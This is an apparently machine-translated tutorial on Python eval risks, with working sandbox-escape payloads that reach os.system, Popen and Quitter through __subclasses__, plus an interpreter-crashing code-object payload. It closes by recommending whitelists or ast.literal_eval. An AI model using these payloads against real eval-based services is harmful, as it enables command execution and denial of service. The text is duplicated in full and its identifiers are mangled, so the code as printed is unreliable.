Potential risks of eval in Python
Eval is a built-in function used by Python to execute python expressions. Using eval, you can easily dynamically execute strings. For example, the following code:
>>> Eval ("1 + 2 ")
>>> Eval ("[x for x in range (10)]")
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
When the built-in modules in the memory contain OS, eval can also execute the following command:
>>> Import OS
>>> Eval ("OS. system ('whoamam ')")
Win-20140812chj \ administrator
Of course, eval can only execute Python expression-type code, but it cannot be used directly for import operations, but exec can. If you want to use eval for import, use _ import __:
>>> Exec ('import OS ')
>>> Eval ('import OS ')
Traceback (most recent call last ):
File "", line 1, in module>
File "", line 1
Import OS
^
SyntaxError: invalid syntax
>>> Eval ("_ import _ ('OS'). system ('whoam ')")
Win-20140812chj \ administrator
In actual code, client data is often required to be executed in eval. For example, the introduction of dynamic modules. For example, an online crawler platform may have multiple crawlers located in different modules, on the server side, you only need to call the crawler type selected by the user on the client side, and perform dynamic calling through the backend exec or eval. the backend encoding is very convenient. However, if the user's request is not properly handled, serious security vulnerabilities may occur.
0x01 use eval for "security"
Currently, we recommend that you use the last two eval parameters to set the function whitelist: the Eval function is declared as eval (expression [, globals [, locals, the second Three Parameters specify functions that can be used in eval. If this parameter is not specified, the default values are the modules and functions contained in the globals () and locals () functions.
>>> Import OS
>>> 'OS' in globals ()
True
>>> Eval ('OS. system (\ 'whoami \')')
Win-20140812chj \ administrator
0
>>> Eval ('OS. system (\ 'whoami \')',{},{})
Traceback (most recent call last ):
File "", line 1, in module>
File "", line 1, in module>
NameError: name 'OS' is not defined
If you specify that only the abs function can be called, you can use the following method:
>>> Eval ('abs (-20) ', {'abs': abs}, {'abs ': abs })
20
>>> Eval ('OS. system (\ 'whoami \') ', {'abs': abs}, {'abs ': abs })
Traceback (most recent call last ):
File "", line 1, in module>
File "", line 1, in module>
NameError: name 'OS' is not defined
>>> Eval ('OS. system (\ 'whoami \')')
Win-20140812chj \ administrator
Using this method to defend against such problems can indeed play a certain role, but this method may be bypassed, resulting in other problems!
0x02 bypass code 1
The bypass scenario is as follows. James knows that eval brings certain security risks. Therefore, he uses the following methods to prevent eval from executing arbitrary code:
Env = {}
Env ["locals"] = None
Env ["globals"] = None
Env ["_ name _"] = None
Env ["_ file _"] = None
Env ["_ builtins _"] = None
Eval (users_str, env)
In Python, _ builtins _ is a built-in module used to set built-in functions. For example, the familiar abs, open, and other built-in functions are stored in this module in a dictionary. The following two statements are equivalent:
>>> _ Builtins _. abs (-20)
20
>>> Abs (-20)
20
You can also customize built-in functions and use them like the built-in functions in Python:
>>> Def hello ():
... Print 'shabi'
>>> _ Builtin _. _ dict _ ['say _ hello'] = hello
>>> Say_hello ()
Shabi
James sets the built-in modules in the scope of the eval function to None, which seems to be thorough, but can still be bypassed. _ Builtins _ is a reference of _ builtin _. In the _ main _ module, the two are equivalent:
>>> Id (_ builtins __)
3549136
>>> Id (_ builtin __)
3549136
Use the following code according to the method mentioned by drops:
[X for x in (). _ class __. _ bases _ [0]. _ subclasses _ () if x. _ name _ = "zipimporter"] [0] ("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg "). load_module ("configobj "). OS. system ("uname ")
The above code first uses _ class _ and _ subclasses _ to dynamically load the object, because the object cannot be directly used in eval. Then, use the zipimporter of the object subclass to import the configobj module in the egg compressed file, and call the OS module in the built-in module to execute commands. Of course, the premise is to have the egg file of configobj. The configobj module is very interesting and has built-in OS module:
>>> "OS" in configobj. _ dict __
True
>>> Import urllib
>>> "OS" in urllib. _ dict __
True
>>> Import urllib2
>>> "OS" in urllib2. _ dict __
True
>>> Configobj. OS. system ("whoami ")
Win-20140812chj \ administrator
Modules similar to configobj, such as urllib, urllib2, and setuptools, all have OS built-in functions. Either of them can be used in theory. If you cannot download the egg compressed file, you can download the folder with setup. py and add it:
From setuptools import setup, find_packages
Then execute:
Python setup. py bdist_egg
You can find the corresponding egg file in the dist folder. The demo bypass is as follows:
>>> Env = {}
>>> Env ["locals"] = None
>>> Env ["globals"] = None
>>> Env ["_ name _"] = None
>>> Env ["_ file _"] = None
>>> Env ["_ builtins _"] = None
>>> Users_str = "[x for x in (). _ class __. _ bases _ [0]. _ subclasses _ () if x. _ name _ = 'zipimporter '] [0] ('e:/internships/configobj-5.0.5-py2.7.egg '). load_module ('configobj '). OS. system ('whoam ')"
>>> Eval (users_str, env)
Win-20140812chj \ administrator
0
>>> Eval (users_str ,{},{})
Win-20140812chj \ administrator
0x03 Denial of Service Attack 1
There are a lot of interesting things in the object subclass. Run the following code to view them:
[X. _ name _ for x in (). _ class _. _ bases _ [0]. _ subclasses _ ()]
Here I will not output the results. If you execute the command, you can see many interesting modules, such as file, zipimporter, and Quitter. After testing, the file constructor is isolated by the interpreter sandbox. Simple, or directly exit the sub-class Quitter exposed by the object:
>>> Eval ("[x for x in (). _ class __. _ bases _ [0]. _ subclasses _ () if x. _ name __
= 'Quitter '] [0] (0) () ", {' _ builtins _ ': None })
C:/>
If you are lucky and have imported OS and other sensitive modules in the program of the other party, you can use Popen and bypass the restriction that _ builins _ is empty. The following is an example:
>>> Import subprocess
>>> Eval ("[x for x in (). _ class __. _ bases _ [0]. _ subclasses _ () if x. _ name _ = 'popen'] [0] (['ping', '-n', '1', '123. 0.0.1 ']) ", {' _ builtins _ ': None })
Subprocess. Popen object at 0x0324FF70>
>>>
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: byte = 32 time 1 ms TTL = 64
Ping statistics for 127.0.0.1:
Packet: Sent = 1, received = 1, lost = 0 (0% lost ),
Estimated round-trip time (in milliseconds ):
Minimum = 0 ms, maximum = 0 ms, average = 0 ms
>>>
In fact, there are many such cases, such as importing the OS module, which is generally used to handle path problems. Therefore, in this case, you can list a large number of functional functions to detect whether the subclass of the target object contains dangerous functions.
0x04 Denial of Service Attack 2
Similarly, we can even bypass _ builtins _ as None, resulting in a denial of service attack. Payload (from a foreigner's blog) is as follows:
>>> Eval ('(lambda fc = (lambda n: [c for c in (). _ class __. _ bases _ [0]. _ subclasses _ () if c. _ name _ = n] [0]): fc ("function") (fc ("code") (0, 0, 0, "KABOOM ",(), (), (), "", "", 0, ""), {}) () ', {"_ builtins _": None })
Running the above Code, Python directly crash out, resulting in a denial of service attack. The principle is
To construct a piece of code, that is, the code object. Allocate an empty stack to this code object and provide the corresponding code string. Here is KABOOM. When the code is executed on the empty stack, crash will appear. After the constructor is constructed, you can call the fc function to trigger the trigger. The idea is not as lewd.
0x05 Summary
From the above content, we can see that it is not enough to leave the built-in modules empty. The best mechanism is to construct a whitelist. If you feel it is troublesome, you can use ast. literal_eval replaces insecure eval.
Eval is a built-in function used by Python to execute python expressions. Using eval, you can easily dynamically execute strings. For example, the following code:
>>> Eval ("1 + 2 ")
3
>>> Eval ("[x for x in range (10)]")
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
When the built-in modules in the memory contain OS, eval can also execute the following command:
>>> Import OS
>>> Eval ("OS. system ('whoamam ')")
Win-20140812chj \ administrator
Of course, eval can only execute Python expression-type code, but it cannot be used directly for import operations, but exec can. If you want to use eval for import, use _ import __:
>>> Exec ('import OS ')
>>> Eval ('import OS ')
Traceback (most recent call last ):
File "", line 1, in module>
File "", line 1
Import OS
^
SyntaxError: invalid syntax
>>> Eval ("_ import _ ('OS'). system ('whoam ')")
Win-20140812chj \ administrator
In actual code, client data is often required to be executed in eval. For example, the introduction of dynamic modules. For example, an online crawler platform may have multiple crawlers located in different modules, on the server side, you only need to call the crawler type selected by the user on the client side, and perform dynamic calling through the backend exec or eval. the backend encoding is very convenient. However, if the user's request is not properly handled, serious security vulnerabilities may occur.
0x01 use eval for "security"
Currently, we recommend that you use the last two eval parameters to set the function whitelist: the Eval function is declared as eval (expression [, globals [, locals, the second Three Parameters specify functions that can be used in eval. If this parameter is not specified, the default values are the modules and functions contained in the globals () and locals () functions.
>>> Import OS
>>> 'OS' in globals ()
True
>>> Eval ('OS. system (\ 'whoami \')')
Win-20140812chj \ administrator
0
>>> Eval ('OS. system (\ 'whoami \')',{},{})
Traceback (most recent call last ):
File "", line 1, in module>
File "", line 1, in module>
NameError: name 'OS' is not defined
If you specify that only the abs function can be called, you can use the following method:
>>> Eval ('abs (-20) ', {'abs': abs}, {'abs ': abs })
20
>>> Eval ('OS. system (\ 'whoami \') ', {'abs': abs}, {'abs ': abs })
Traceback (most recent call last ):
File "", line 1, in module>
File "", line 1, in module>
NameError: name 'OS' is not defined
>>> Eval ('OS. system (\ 'whoami \')')
Win-20140812chj \ administrator
Using this method to defend against such problems can indeed play a certain role, but this method may be bypassed, resulting in other problems!
0x02 bypass code 1
The bypass scenario is as follows. James knows that eval brings certain security risks. Therefore, he uses the following methods to prevent eval from executing arbitrary code:
Env = {}
Env ["locals"] = None
Env ["globals"] = None
Env ["_ name _"] = None
Env ["_ file _"] = None
Env ["_ builtins _"] = None
Eval (users_str, env)
In Python, _ builtins _ is a built-in module used to set built-in functions. For example, the familiar abs, open, and other built-in functions are stored in this module in a dictionary. The following two statements are equivalent:
>>> _ Builtins _. abs (-20)
20
>>> Abs (-20)
20
You can also customize built-in functions and use them like the built-in functions in Python:
>>> Def hello ():
... Print 'shabi'
>>> _ Builtin _. _ dict _ ['say _ hello'] = hello
>>> Say_hello ()
Shabi
James sets the built-in modules in the scope of the eval function to None, which seems to be thorough, but can still be bypassed. _ Builtins _ is a reference of _ builtin _. In the _ main _ module, the two are equivalent:
>>> Id (_ builtins __)
3549136
>>> Id (_ builtin __)
3549136
Use the following code according to the method mentioned by drops:
[X for x in (). _ class __. _ bases _ [0]. _ subclasses _ () if x. _ name _ = "zipimporter"] [0] ("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg "). load_module ("configobj "). OS. system ("uname ")
The above code first uses _ class _ and _ subclasses _ to dynamically load the object, because the object cannot be directly used in eval. Then, use the zipimporter of the object subclass to import the configobj module in the egg compressed file, and call the OS module in the built-in module to execute commands. Of course, the premise is to have the egg file of configobj. The configobj module is very interesting and has built-in OS module:
>>> "OS" in configobj. _ dict __
True
>>> Import urllib
>>> "OS" in urllib. _ dict __
True
>>> Import urllib2
>>> "OS" in urllib2. _ dict __
True
>>> Configobj. OS. system ("whoami ")
Win-20140812chj \ administrator
Modules similar to configobj, such as urllib, urllib2, and setuptools, all have OS built-in functions. Either of them can be used in theory. If you cannot download the egg compressed file, you can download the folder with setup. py and add it:
From setuptools import setup, find_packages
Then execute:
Python setup. py bdist_egg
You can find the corresponding egg file in the dist folder. The demo bypass is as follows:
>>> Env = {}
>>> Env ["locals"] = None
>>> Env ["globals"] = None
>>> Env ["_ name _"] = None
>>> Env ["_ file _"] = None
>>> Env ["_ builtins _"] = None
>>> Users_str = "[x for x in (). _ class __. _ bases _ [0]. _ subclasses _ () if x. _ name _ = 'zipimporter '] [0] ('e:/internships/configobj-5.0.5-py2.7.egg '). load_module ('configobj '). OS. system ('whoam ')"
>>> Eval (users_str, env)
Win-20140812chj \ administrator
0
>>> Eval (users_str ,{},{})
Win-20140812chj \ administrator
0x03 Denial of Service Attack 1
There are a lot of interesting things in the object subclass. Run the following code to view them:
Default
[X. _ name _ for x in (). _ class _. _ bases _ [0]. _ subclasses _ ()]
Here I will not output the results. If you execute the command, you can see many interesting modules, such as file, zipimporter, and Quitter. After testing, the file constructor is isolated by the interpreter sandbox. Simple, or directly exit the sub-class Quitter exposed by the object:
Default
>>> Eval ("[x for x in (). _ class __. _ bases _ [0]. _ subclasses _ () if x. _ name __
= 'Quitter '] [0] (0) () ", {' _ builtins _ ': None })
C:/>
If you are lucky and have imported OS and other sensitive modules in the program of the other party, you can use Popen and bypass the restriction that _ builins _ is empty. The following is an example:
>>> Import subprocess
>>> Eval ("[x for x in (). _ class __. _ bases _ [0]. _ subclasses _ () if x. _ name _ = 'popen'] [0] (['ping', '-n', '1', '123. 0.0.1 ']) ", {' _ builtins _ ': None })
Subprocess. Popen object at 0x0324FF70>
>>>
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: byte = 32 time 1 ms TTL = 64
Ping statistics for 127.0.0.1:
Packet: Sent = 1, received = 1, lost = 0 (0% lost ),
Estimated round-trip time (in milliseconds ):
Minimum = 0 ms, maximum = 0 ms, average = 0 ms
>>>
In fact, there are many such cases, such as importing the OS module, which is generally used to handle path problems. Therefore, in this case, you can list a large number of functional functions to detect whether the subclass of the target object contains dangerous functions.
0x04 Denial of Service Attack 2
Similarly, we can even bypass _ builtins _ as None, resulting in a denial of service attack. Payload (from a foreigner's blog) is as follows:
>>> Eval ('(lambda fc = (lambda n: [c for c in (). _ class __. _ bases _ [0]. _ subclasses _ () if c. _ name _ = n] [0]): fc ("function") (fc ("code") (0, 0, 0, "KABOOM ",(), (), (), "", "", 0, ""), {}) () ', {"_ builtins _": None })
1
Running the above Code, Python directly crash out, resulting in a denial of service attack. The principle is
To construct a piece of code, that is, the code object. Allocate an empty stack to this code object and provide the corresponding code string. Here is KABOOM. When the code is executed on the empty stack, crash will appear. After the constructor is constructed, you can call the fc function to trigger the trigger. The idea is not as lewd.
0x05 Summary
From the above content, we can see that it is not enough to leave the built-in modules empty. The best mechanism is to construct a whitelist. If you feel it is troublesome, you can use ast. literal_eval replaces insecure eval.